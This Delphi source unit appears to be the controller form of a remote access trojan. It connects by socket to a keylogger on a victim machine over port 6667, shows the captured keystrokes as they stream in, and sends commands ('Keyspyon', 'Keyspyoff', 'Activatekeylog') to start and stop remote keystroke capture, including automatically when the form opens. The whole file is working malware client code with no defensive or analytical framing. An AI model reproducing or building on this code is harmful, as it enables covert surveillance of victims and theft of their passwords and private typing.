unit Unit9;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  TFlatButtonUnit, ExtCtrls, TFlatPanelUnit, BUFormAnimation, StdCtrls,
  TFlatEditUnit, WSocket, TFlatMemoUnit, TFlatHintUnit;

type
  TForm9 = class(TForm)
    FlatPanel1: TFlatPanel;
    FlatButton1: TFlatButton;
    FlatButton2: TFlatButton;
    FlatPanel2: TFlatPanel;
    address: TFlatEdit;
    btnKeylogconnect: TFlatButton;
    BUFormAnimation1: TBUFormAnimation;
    Memo1: TFlatMemo;
    btnMemoclear: TFlatButton;
    keySock: TWSocket;
    info: TFlatPanel;
    FlatHint1: TFlatHint;
    procedure FlatPanel1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure FlatButton2Click(Sender: TObject);
    procedure FlatButton1Click(Sender: TObject);
    procedure FormActivate(Sender: TObject);
    procedure btnMemoclearClick(Sender: TObject);
    procedure keySockDataAvailable(Sender: TObject; Error: Word);
    procedure keySockError(Sender: TObject);
    procedure keySockSessionClosed(Sender: TObject; Error: Word);
    procedure keySockSessionConnected(Sender: TObject; Error: Word);
    procedure btnKeylogconnectClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FlatButton3Click(Sender: TObject);
    procedure FlatButton4Click(Sender: TObject);
    procedure FormShow(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form9: TForm9;

implementation

uses Unit1;

{$R *.DFM}

procedure TForm9.FlatPanel1MouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
ReleaseCapture;
 Perform(WM_NCLBUTTONDOWN,HTCAPTION,0);
end;

procedure TForm9.FlatButton2Click(Sender: TObject);
begin
Form9.WindowState:=wsMinimized;
end;

procedure TForm9.FlatButton1Click(Sender: TObject);
begin
Form9.Close;
end;

procedure TForm9.FormActivate(Sender: TObject);
begin
BUFormAnimation1.AppearRectangle;
end;

procedure TForm9.btnMemoclearClick(Sender: TObject);
begin
Memo1.clear;
end;

procedure TForm9.keySockDataAvailable(Sender: TObject; Error: Word);
var
s: string;
begin
s:=keysock.ReceiveStr;
memo1.lines.text:=memo1.lines.text+s;
SendMessage(memo1.Handle,WM_VSCROLL,SB_PAGEDOWN,0);
end;

procedure TForm9.keySockError(Sender: TObject);
begin
info.Caption:=' No Connection';
end;

procedure TForm9.keySockSessionClosed(Sender: TObject; Error: Word);
begin
info.caption:=' Key Logger Disconnected.';
end;

procedure TForm9.keySockSessionConnected(Sender: TObject; Error: Word);
begin
info.caption:=' Key Logger Connected.';
end;

procedure TForm9.btnKeylogconnectClick(Sender: TObject);
begin
keysock.Addr:=address.text;
keysock.port:=('6667');
keysock.connect;

end;

procedure TForm9.FormCreate(Sender: TObject);
begin
address.Text:=frmClient.Host.text;
end;

procedure TForm9.FlatButton3Click(Sender: TObject);
begin
info.Caption:=('Activating Key Logger');
frmClient.Client.SendStr('Keyspyon' + #13#10);
end;

procedure TForm9.FlatButton4Click(Sender: TObject);
begin
info.Caption:=('Deactivating Key Logger');
frmClient.Client.SendStr('Keyspyoff' + #13#10);
end;

procedure TForm9.FormShow(Sender: TObject);
begin
sleep(3000);
frmClient.Client.SendStr('Activatekeylog' + #13#10);
end;

end.
